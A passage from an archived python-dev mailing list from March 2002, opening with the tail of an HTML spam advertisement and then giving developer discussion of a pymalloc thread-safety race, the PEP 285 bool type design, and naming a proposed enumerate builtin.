                        color=3D#ff0000 
                        size=3D3>1-877-684 0179</FONT><BR>and&nbsp;place 
                        your order&nbsp;today.</FONT>
                        <HR id=3Dundefined>
                        Your completed Website is placed online 
                        and&nbsp;</FONT><FONT size=3D4><FONT color=3D#000000><FONT 
                        color=3D#0000ff size=3D3>Hosted FREE for a full year.
                        <HR id=3Dundefined>
                        </FONT></FONT><FONT color=3D#000000 size=3D3>A copy of 
                        your website is also placed on <FONT 
                        color=3D#0000ff>Compact Disc</FONT> </FONT><FONT 
                        color=3D#000000 size=3D3>and mailed to you.<BR><BR><FONT 
                        color=3D#ff0000 size=3D4>ALL FOR ONLY</FONT> <FONT 
                        color=3D#000000>$399<BR></FONT></FONT></FONT></FONT></STRONG></FONT></STRONG></FONT></FONT>
                        <P><STRONG><FONT color=3D#ff0000>Get yours today and you 
                        will sending visitors in&nbsp;less than 
                        a&nbsp;week!</FONT></STRONG></P>
                                </TD>
                      </TR></TABLE>
                          <p align=3Dcenter><FONT face=3DArial 
                 ><STRONG> <FONT color=3D#0000ff size=3D6>CALL 
                  TOLL&nbsp;FREE 1-877-684-0179<BR><FONT color=3D#800040>Target 
                  Marketing</FONT><BR>
                  <TABLE width=3D"100%" align=3Dcenter>
                    <TBODY>
                    <TR>
                      <TD align=3Dmiddle>
                        <DIV align=3Dcenter><FONT face=3DArial size=3D-1>
                        <HR id=3Dundefined>
                        To unsubscribe from this list, send a blank email to 
                        <BR><A 
                        href=3D"mailto:unsub-32295514-213@mail1.bvmmailer01.com "><FONT 
                        color=3D#800080>mailto:unsub-32295514-213@mail1.bvmmailer01.com 
                        </FONT></A><BR>or send a postcard to 
                        Unsubscribe, <BR>       
                                
                                
                                
                         6228 North Federal Highway, Suite 187, Ft. Lauderdale, 
                        Florida,&nbsp;33308.
                        <HR id=3Dundefined>
                        </DIV></FONT></TD></TR></TABLE></FONT></STRONG></FONT></P>
        </TD></TR></TABLE>
                  <CENTER><FONT 
        size=3D6></FONT>
                  </CENTER></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
</div>
</BODY></HTML>


------_NextPart_0191284436--


From tim.one@comcast.net  Sat Mar 30 08:07:50 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 03:07:50 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3eli2zduj.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEBHOJAA.tim.one@comcast.net>

[Tim]
> I'm trying to cater to allocating via PyMem_{MALLOC, Malloc} then
> free'ing via _PyMalloc_Free.

[Martin]
> Is *that* the motivation?

One of them.

> I thought you were trying to accommodate your killer.py where Python
> code can trick pymalloc into believing that it owned the memory which
> it actually had allocated by forwarding to system malloc

That's another one.  There are only two, so we can stop now <wink>.

> (see the subject).

That came from the first msg in the thread.  The second msg in the thread
came a couple days later, and broadened the scope at its start:

    http://mail.python.org/pipermail/python-dev/2002-March/021905.html

It was too easy to *just* fix killer.py <wink>.



From martin@v.loewis.de  Sat Mar 30 08:01:51 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 09:01:51 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <200203300110.g2U1Arm17301@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEPPOIAA.tim.one@comcast.net>
 <200203300110.g2U1Arm17301@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3adsqzdow.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> All I can do is encourage you to keep trying.  I find it quite
> encouraging that you found a constant-time test for non-arena memory
> at all.  Making it thread-safe should only add a tiny constant time.

Are we discussing using PyMalloc even when not holding the GIL? That
can't possibly work: pymalloc maintains linked lists of free memory;
if two allocate or deallocate objects in the same pool simultaneously,
bad things will happen.

Regards,
Martin



From tim.one@comcast.net  Sat Mar 30 08:55:07 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 03:55:07 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3adsqzdow.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>

[martin@v.loewis.de]
> Are we discussing using PyMalloc even when not holding the GIL? That
> can't possibly work: pymalloc maintains linked lists of free memory;
> if two allocate or deallocate objects in the same pool simultaneously,
> bad things will happen.

I checked in obmalloc changes sufficient so that PyObject_XXX *could* be
changed to use pymalloc again, and not break if a PyObject "get memory"
function is mixed with a PyMem "free memory" function.  This requires (in
part) that all the latter be redirected to use the (new, as of a couple
hours ago) pymalloc free.

This leaves one known hole for backward compatibility:  some people call a
PyMem "get memory" routine when not holding the GIL.  That's still no
problem, because the PyMem "get memory" routines would still call the system
malloc without pymalloc getting involved.  Some people also call a PyMem
"free memory" routine when not holding the GIL, but only on memory that was
obtained from a PyMem "get memory" routine.  That's the potential problem.
The PyMem "free memory" routines would invoke pymalloc's free, and the mere
act of *checking* the address passed to PyMem free() is vulnerable if the
GIL isn't held.

It's not obvious how it's vulnerable, so I'll spell it out:  Some thread
that does hold the GIL and simultaneously calls a PyObject "get memory"
routine ends up in the pymalloc malloc, and *if* that needs to allocate a
new arena, and *if* that in turn requires growing the vector of arena base
addresses, then there appears to be no way (short of slopping locks on
everything) to guarantee that the *other* thread (in pymalloc free) won't
pick up an address for the arena-base-address vector that's invalid by the
time it gets around to indexing into it.  It's an extremely small hole (just
a couple machine instructions), and requires an extremely unlikely set of
circumstances to make it possible to fall into it, but it is a real hole all
the same.

There wouldn't be a hole if the vector of arena base addresses were
statically allocated.



From tanzer@swing.co.at  Sat Mar 30 07:28:09 2002
From: tanzer@swing.co.at (Christian Tanzer)
Date: Sat, 30 Mar 2002 08:28:09 +0100
Subject: [Python-Dev] Re: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 30 Mar 2002 00:39:10 EST."
 <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <E16rDHV-0006AE-00@tswings.swing.cluster>

>    1) Should this PEP be accepted at all.

I can do without it, but wouldn't mind it, as long as bools don't get
too strict (like point 4, below). IMHO, Python's traditional concept
of truth is much better than a Pascal-like concept of truth.

>     2) Should str(True) return "True" or "1": "1" might reduce
>        backwards compatibility problems, but looks strange to me.
>        (repr(True) would always return "True".)

If str and repr were to behave differently from each other, I'd expect
repr(True) to return "1" and str(True) to return "True". Interchanging
that seems strange.

OTOH, I'm worried about backwards compatibility.

>     3) Should the constants be called 'True' and 'False'
>        (corresponding to None) or 'true' and 'false' (as in C++, Java
>        and C99).

'True' and 'False', please. It makes shadowing of the built-in values
by user defined variables much less likely.

>     4) Should we strive to eliminate non-Boolean operations on bools
>        in the future, through suitable warnings, so that e.g. True+1
>        would eventually (e.g. in Python 3000 be illegal).  Personally,
>        I think we shouldn't; 28+isleap(y) seems totally reasonable to
>        me.

IMHO, `28+isleap(y)` is certainly better than `28+int(isleap(y))`.

Used judiciously, booleans in arithmetic expressions can improve
readability over conditional statements.

>     5) Should operator.truth(x) return an int or a bool.  Tim Peters
>        believes it should return an int because it's been documented
>        as such.  I think it should return a bool; most other standard
>        predicates (e.g. issubtype()) have also been documented as
>        returning 0 or 1, and it's obvious that we want to change those
>        to return a bool.

I'd expect operator.truth to be an alias for 'bool'.

If booleans couldn't be used in integer contexts any more, I'd prefer
operator.truth to return an int <wink>.

>     Because of backwards compatibility, the bool type lacks many
>     properties that some would like to see.  For example, arithmetic
>     operations with one or two bool arguments is allowed, treating
>     False as 0 and True as 1.  Also, a bool may be used as a sequence
>     index.

Counting the number of true values in a collection is a common
operation. Using bool as an index is also commonly needed.

IMO, allowing booleans in these contexts is a good thing (TM) in
general, not only for backwards compatibility.

>     Other languages (C99, C++, Java) name the constants "false" and
>     "true", in all lowercase.  In Python, I prefer to stick with the
>     example set by the existing built-in constants, which all use
>     CapitalizedWords: None, Ellipsis, NotImplemented (as well as all
>     built-in exceptions).  Python's built-in module uses all lowercase
>     for functions and types only.  But I'm willing to consider the
>     lowercase alternatives if enough people think it looks better.

Please make it consistent with Python, not with an arbitrary set of
other languages.

> For truth testing of a value, one should use "if", e.g. "if x: print
> 'Yes'", not comparison to a truth value; "if x =3D=3D True: print 'Yes'=
"
> is not only wrong, it is also strangely redundant.

`if x:` is clear, concise, and generic. Adding comparions or
an explicit coercion to bool makes it ugly and more difficult
to read.

******

How will bool influence '__nonzero__'? Currently, Python insists that
'__nonzero__ should return an int'. Will this be changed to 'should
return a bool'?

As that would break existing code, I hope not.

-- =

Christian Tanzer                                         tanzer@swing.co.=
at
Glasauergasse 32                                       Tel: +43 1 876 62 =
36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 =
92



From tim.one@comcast.net  Sat Mar 30 09:35:32 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 04:35:32 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <E16rDHV-0006AE-00@tswings.swing.cluster>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>

[Christian Tanzer]
> ...
> If str and repr were to behave differently from each other, I'd expect
> repr(True) to return "1" and str(True) to return "True". Interchanging
> that seems strange.

We try to ensure that eval(repr(x)) reproduce x whenever reasonably
possible.  That best way to do that here is for repr(True) to return 'True'.
We also try to ensure that str(x) be "friendly" whenever possible, even if
that means eval(str(x)) has no chance of reproducing x exactly, or even of
running without raising an exception.  The best way to do that here is also
for str(True) to return 'True', but:

> OTOH, I'm worried about backwards compatibility.

That's the only reason for str(True) to return '1'.  How about str(True)
return '1' but str(False) return 'False'?  That's what a committee would
compromise on <wink>.

> ...
> How will bool influence '__nonzero__'? Currently, Python insists that
> '__nonzero__ should return an int'. Will this be changed to 'should
> return a bool'?

I hope so.

> As that would break existing code, I hope not.

No, "should" != "must".  Guido won't call code that returns an int here
broken, although he might call it deprecated, and leave you wondering when
the hammer will drop <wink>.



From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 10:42:15 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 05:42:15 -0500
Subject: [Python-Dev] pymalloc killer
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
Message-ID: <005c01c1d7d7$8f81e640$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>

> There wouldn't be a hole if the vector of arena base addresses were
> statically allocated.

This could be a reason to use the 2-level arena vector we were
discussing earlier. I was just assuming you wouldn't ever want to
reallocate it or move anything that big...

-Dave



From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 10:57:39 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 05:57:39 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>

"Guido van Rossum" <guido@python.org> writ:
>     Dear reviewers:
>
>     I'm particularly interested in hearing your opinion about the
>     following three issues:
>
>     1) Should this PEP be accepted at all.

Depends on the resolution of #2 and #3 ;-)

>     2) Should str(True) return "True" or "1": "1" might reduce
>        backwards compatibility problems, but looks strange to me.
>        (repr(True) would always return "True".)

str(True) must return 'True' or there isn't much point in bothering with
this, IMO.

>     3) Should the constants be called 'True' and 'False'
>        (corresponding to None) or 'true' and 'false' (as in C++, Java
>        and C99).

As a language interoperability guy, I prefer to keep as much precise
correspondence as possible with C++ (and Java), so I vote for
'true'/'false'.

>     Most other details of the proposal are pretty much forced by the
>     backwards compatibility requirement; e.g. True == 1 and
>     True+1 == 2 must hold, else reams of existing code would break.

Guess what other language made that same choice for the same reasons?

>     Minor additional issues:
>
>     4) Should we strive to eliminate non-Boolean operations on bools
>        in the future, through suitable warnings, so that e.g. True+1
>        would eventually (e.g. in Python 3000 be illegal).  Personally,
>        I think we shouldn't; 28+isleap(y) seems totally reasonable to
>        me.

Changing my position somewhat from earlier, I'll vote in my project's
self-interest: I agree with your inclination to allow bool to be
"promoted" to an int in these conditions.

>     5) Should operator.truth(x) return an int or a bool.  Tim Peters
>        believes it should return an int because it's been documented
>        as such.  I think it should return a bool; most other standard
>        predicates (e.g. issubtype()) have also been documented as
>        returning 0 or 1, and it's obvious that we want to change those
>        to return a bool.

I agree again!

      6) Should we eventually remove the inheritance relationship
         between Int and Bool?

I hope so. Bool is-a Int doesn't seem like the right relationship to me,
unless perhaps we make Int is-a Long... naah, not even then.

-Dave




From martin@v.loewis.de  Sat Mar 30 11:29:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 12:29:46 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
Message-ID: <m3u1qys385.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> It's not obvious how it's vulnerable

It would not be vulnerable if you would not free the old arena list,
right? Although I'd declare arenas as volatile...

Regards,
Martin


From martin@v.loewis.de  Sat Mar 30 11:37:42 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 12:37:42 +0100
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
Message-ID: <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> > How will bool influence '__nonzero__'? Currently, Python insists that
> > '__nonzero__ should return an int'. Will this be changed to 'should
> > return a bool'?
> 
> I hope so.
> 
> > As that would break existing code, I hope not.
> 
> No, "should" != "must".  Guido won't call code that returns an int here
> broken, although he might call it deprecated, and leave you wondering when
> the hammer will drop <wink>.

Interestingly enough, the exception message says "__nonzero__ should
return an int" but really means "__nonzero__ must return an int".  I
guess under this PEP, the message needs to be changed to "should
return a bool", but not the test (or, if you want it more explicit:
"__nonzero__ must return an int and should return a bool" :-)

Regards,
Martin


From guido@python.org  Sat Mar 30 13:35:11 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 08:35:11 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 30 Mar 2002 04:35:32 EST."
 <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
Message-ID: <200203301335.g2UDZB601508@pcp742651pcs.reston01.va.comcast.net>

> > How will bool influence '__nonzero__'? Currently, Python insists that
> > '__nonzero__ should return an int'. Will this be changed to 'should
> > return a bool'?
> 
> I hope so.

Actually, it doesn't matter.  This is only called by C code that must
then return a *C* 0 or 1, and this code is entirely oblivious to the
difference between int and bool.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 13:42:29 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 08:42:29 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: Your message of "30 Mar 2002 12:37:42 +0100."
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>

> Interestingly enough, the exception message says "__nonzero__ should
> return an int" but really means "__nonzero__ must return an int".

You've been staring at standards too much, haven't you?  The
difference between MUST and SHOULD isn't as clear-cut as most
standards people use them.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 13:44:05 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 08:44:05 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: Your message of "Sat, 30 Mar 2002 03:55:07 EST."
 <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
Message-ID: <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>

> It's not obvious how it's vulnerable, so I'll spell it out:  Some thread
> that does hold the GIL and simultaneously calls a PyObject "get memory"
> routine ends up in the pymalloc malloc, and *if* that needs to allocate a
> new arena, and *if* that in turn requires growing the vector of arena base
> addresses, then there appears to be no way (short of slopping locks on
> everything) to guarantee that the *other* thread (in pymalloc free) won't
> pick up an address for the arena-base-address vector that's invalid by the
> time it gets around to indexing into it.  It's an extremely small hole (just
> a couple machine instructions), and requires an extremely unlikely set of
> circumstances to make it possible to fall into it, but it is a real hole all
> the same.

How about if the PyMem_Free guy saved the address of the vector before
using it, and checked that it was still the same afterwards, *and* if
the PyMem_Malloc guy didn't use realloc to resize the vector but
copied it to a newly malloc'ed vector, stored the new vector's
address, and then freed the old vector?

(I guess this is the same as what Martin suggested.  His point that
the global holding the vector address should be declared volatile is a
good one.)

--Guido van Rossum (home page: http://www.python.org/~guido/)



From guido@python.org  Sat Mar 30 13:47:33 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 08:47:33 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 30 Mar 2002 05:57:39 EST."
 <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
 <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>
Message-ID: <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>

[David Abrahams]
>       6) Should we eventually remove the inheritance relationship
>          between Int and Bool?
> 
> I hope so. Bool is-a Int doesn't seem like the right relationship to
> me, unless perhaps we make Int is-a Long... naah, not even then.

Hm.  In your favorite language bool is one of the integral types.
Doesn't that imply pretty much the same thing?

Anyway, do you have a use case where it matters?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Sat Mar 30 13:50:50 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 30 Mar 2002 08:50:50 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net> <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de> <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020330135050.GA12983@panix.com>

On Sat, Mar 30, 2002, Guido van Rossum wrote:
>
>> Interestingly enough, the exception message says "__nonzero__ should
>> return an int" but really means "__nonzero__ must return an int".
> 
> You've been staring at standards too much, haven't you?  The
> difference between MUST and SHOULD isn't as clear-cut as most
> standards people use them.

True, but I'd be happy if Python were to take a step in the formal
direction here.  I don't think we want to write standards-like
documentation, of course, but adopting a bit more precision couldn't
hurt and might help.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From python@rcn.com  Sat Mar 30 13:55:24 2002
From: python@rcn.com (Raymond Hettinger)
Date: Sat, 30 Mar 2002 08:55:24 -0500
Subject: [Python-Dev] Re: PEP 279
References: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net>
Message-ID: <002901c1d7f2$8b04f560$2eb53bd0@othello>

[Tim]
> So I'd like to keep
> generators simple.

I hear you.

> Generator exceptions do less damage (IMO) to simplicity than some of the
> other extensions, but in practice, in the very few cases I've wanted
> something like that, this worked fine:
>
> class Whatever:
>     def __init__(self):
>         self._stop = 0
>
>     def stop(self):
>         self._stop = 1
>
>     def generator(self):
>         while 1:
>             ...
>             yield something
>             if self._stop:
>                 break
>         cleanup

Hmm, the client code needs to maintain TWO instance variables, the generator
object and the instance of Whatever.  It works but doesn't smell right to
me:

w = Whatever()
wg = w.generator()
wg.next()
wg.next()
w.stop(); wg.next()    # trigger clean-up

> Bingo.  If you want coroutines, design a coroutine facility.  Piling more
> semantics on to "yield" takes a delightfully simple yet powerful gimmick
and
> hides it under ten kinds of obscurity.

I don't see the obscurity.  This is the kind of tool that is invisible and
out
of the way until the one day you really need it and the tool is right there
in your hand (as if by time machine).

Throw wouldn't be used 98% of the time.  So, simple things are left simple
and hard things are a little less hard.  I didn't come up with these ideas
out of the ether.  It came up in a real world application for producing
index prints from jpegs.

That being said, I accept that generator parameter passing and exception
passing are doomed.

Here is my alternate proposal that is much simpler and doesn't encourage
weirdness.
[Developers feel free to stomp on the idea but please don't smack me around
for thinking it up].


Specification for Generator Attributes:

    1. Allow attributes to be assigned to generator objects.

    2.  Provide a means of accessing those attributes from within the
    generator by using a reference to __self__.

 def mygen():
     print __self__.greeting
     yield 'hello'
     print __self__.greeting

 g = mygen()
 g.greeting = 'Good morning'
 print g.next()
 g.greeting = 'Good night'

Advantages:  Uses the standard python attribute assignment idiom so there is
no learning curve and no surprises.  Easily implementable without new
keywords, new builtins, or parser magic.  Provides a data sharing solution
that avoids the yield / next() matching problem, avoids enclosing classes,
and avoid global variables.  Simple and neat.
Disads:  Introduces a new system variable, __self__.



Raymond Hettinger, CPA



P.S.  No one needs to say anything mean to make me go away.  This is the
last generator proposal and then I'm back off to volunteering on Py-Help
and co-authoring a Python book update.






From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 14:04:31 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 09:04:31 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>              <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>  <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>
To: "David Abrahams" <david.abrahams@rcn.com>
Cc: <python-list@python.org>; <python-dev@python.org>
Sent: Saturday, March 30, 2002 8:47 AM
Subject: Re: [Python-Dev] PEP 285: Adding a bool type


> [David Abrahams]
> >       6) Should we eventually remove the inheritance relationship
> >          between Int and Bool?
> >
> > I hope so. Bool is-a Int doesn't seem like the right relationship to
> > me, unless perhaps we make Int is-a Long... naah, not even then.
>
> Hm.  In your favorite language bool is one of the integral types.
> Doesn't that imply pretty much the same thing?

Well, I try not to play favorites <0.002 wink>, but the implicit
conversion rules in C++ are admittedly and unfortunately liberal.
However, bool is detectably NOT derived from int in C++:

    void f(int const&);
    f(false); // error!
    assert(boost::is_base_and_derived<int,bool>::value); // fails!

> Anyway, do you have a use case where it matters?

Given that Bool is immutable, I have no cases other than examples of
type introspection which can be written to account for the fact that
Bool is-a Int. However, it does make certain things trickier to get
right:

numeric_types = [ Int, Long, Bool, Float, Complex ]
for t in numeric_types:
    if isinstance(x, t):
        # Do something...

This sort of thing could depend on getting the order of the list right
(I didn't).

-Dave





From python@rcn.com  Sat Mar 30 14:07:16 2002
From: python@rcn.com (Raymond Hettinger)
Date: Sat, 30 Mar 2002 09:07:16 -0500
Subject: [Python-Dev] Re: PEP 279
References: <E16qtio-0005a8-00@mail.python.org>              <005501c1d726$67f7b2a0$ccd8accf@othello>  <200203291439.g2TEdAF05480@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <003601c1d7f4$33139d00$2eb53bd0@othello>


[RDH]
> > Executive Summary:
> > 1.  iterindexed(collection)  -->  accepted
[GvR]
> Except I want to think more about the name.

Okay, here's what we have so far:

iterindexed()-- five syllables is a mouthfull
index()      -- nice verb but could be confused the .index() method
indexed()    -- widely liked however adjectives should be avoided
count()      -- direct and explicit but often used in other contexts
itercount()  -- direct, explicit and hated by more than one person
enumerate()  -- a contender but doesn't mention iteration or indices
iteritems()  -- already used by dictionaries for key:value pairs


Raymond Hettinger, CPA


-------------------------------------------------------------------
def iterindexed(collection):
    'Generates an indexed series:  (0,coll[0]), (1,coll[1]) ...'     
    i = 0
    it = iter(collection)
    while 1:
        yield (i, it.next())
        i += 1





From pobrien@orbtech.com  Sat Mar 30 14:13:26 2002
From: pobrien@orbtech.com (Patrick K. O'Brien)
Date: Sat, 30 Mar 2002 08:13:26 -0600
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
Message-ID: <NBBBIOJPGKJEKIECEMCBMELCMKAA.pobrien@orbtech.com>

[Tim Peters]
>
> [Christian Tanzer]
> > ...
> > How will bool influence '__nonzero__'? Currently, Python insists that
> > '__nonzero__ should return an int'. Will this be changed to 'should
> > return a bool'?
>
> I hope so.
>
> > As that would break existing code, I hope not.
>
> No, "should" != "must".  Guido won't call code that returns an int here
> broken, although he might call it deprecated, and leave you wondering when
> the hammer will drop <wink>.

What is the likelihood that __nonzero__ could be renamed (at some point in
the future) to something a bit more intuitive, like __bool__? I know there
would be a lot of user code to change, but assuming one day the hammer will
drop and everyone's __nonzero__ will have to change to return a bool, I
wouldn't mind seeing the method renamed as well.  Or is this a lost cause at
this point?

---
Patrick K. O'Brien
Orbtech



From guido@python.org  Sat Mar 30 14:23:49 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 09:23:49 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 30 Mar 2002 09:04:31 EST."
 <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
 <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>
Message-ID: <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>

> > [David Abrahams]
> > >       6) Should we eventually remove the inheritance relationship
> > >          between Int and Bool?
> > >
> > > I hope so. Bool is-a Int doesn't seem like the right relationship to
> > > me, unless perhaps we make Int is-a Long... naah, not even then.
> >
> > Hm.  In your favorite language bool is one of the integral types.
> > Doesn't that imply pretty much the same thing?
> 
> Well, I try not to play favorites <0.002 wink>, but the implicit
> conversion rules in C++ are admittedly and unfortunately liberal.
> However, bool is detectably NOT derived from int in C++:
> 
>     void f(int const&);
>     f(false); // error!
>     assert(boost::is_base_and_derived<int,bool>::value); // fails!

I don't understand this example, but I though int and bool weren't
considered classes in C++, so I'm not sure this matters.  I know you
don't care, but C99 *does* consider bool an integral type.

Another argument for deriving bool from int: implementation
inheritance.  A bool must behave just like an int, and this is most
easily accomplished this way: the bool type doesn't have
implementations for most operations: it inherits them from the int
type, which find a bool acceptable where an int is required.

> > Anyway, do you have a use case where it matters?
> 
> Given that Bool is immutable, I have no cases other than examples of
> type introspection which can be written to account for the fact that
> Bool is-a Int. However, it does make certain things trickier to get
> right:
> 
> numeric_types = [ Int, Long, Bool, Float, Complex ]
> for t in numeric_types:
>     if isinstance(x, t):
>         # Do something...
> 
> This sort of thing could depend on getting the order of the list right
> (I didn't).

Using isinstance() this way is usually bad.  And who knows that long
doesn't inherit from int?  (At some point in the future it may, or
they may become the same thing -- see PEP 237.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 14:25:24 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 09:25:24 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 30 Mar 2002 08:13:26 CST."
 <NBBBIOJPGKJEKIECEMCBMELCMKAA.pobrien@orbtech.com>
References: <NBBBIOJPGKJEKIECEMCBMELCMKAA.pobrien@orbtech.com>
Message-ID: <200203301425.g2UEPOp01732@pcp742651pcs.reston01.va.comcast.net>

> What is the likelihood that __nonzero__ could be renamed (at some
> point in the future) to something a bit more intuitive, like
> __bool__? I know there would be a lot of user code to change, but
> assuming one day the hammer will drop and everyone's __nonzero__
> will have to change to return a bool, I wouldn't mind seeing the
> method renamed as well.  Or is this a lost cause at this point?

I think it's a lost cause.  It's one of those minor details that might
be considered wrong with 20/20 hindsight, but not wrong enough to want
to bother fixing it, given the cost (to the user community) of the
fix.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Sat Mar 30 14:48:21 2002
From: mwh@python.net (Michael Hudson)
Date: 30 Mar 2002 14:48:21 +0000
Subject: [Python-Dev] pymalloc killer
In-Reply-To: Guido van Rossum's message of "Sat, 30 Mar 2002 08:44:05 -0500"
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net> <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2mofh6m7re.fsf@starship.python.net>

Parachuting into a random point in the thread...

Does this have any real bearing on 2.2.1?  Should pymalloc have a mild
warning sticker applied to it for this release?  Or is this just
another possible-to-exploit but basically impossible to run into by
accident hole in Python?

You'll excuse me if I don't want to backport recent pymalloc changes
to release22-maint...

Cheers,
M.

-- 
  The gripping hand is really that there are morons everywhere, it's
  just that the Americon morons are funnier than average.
                              -- Pim van Riezen, alt.sysadmin.recovery


From aahz@pythoncraft.com  Sat Mar 30 14:45:19 2002
From: aahz@pythoncraft.com (Aahz)
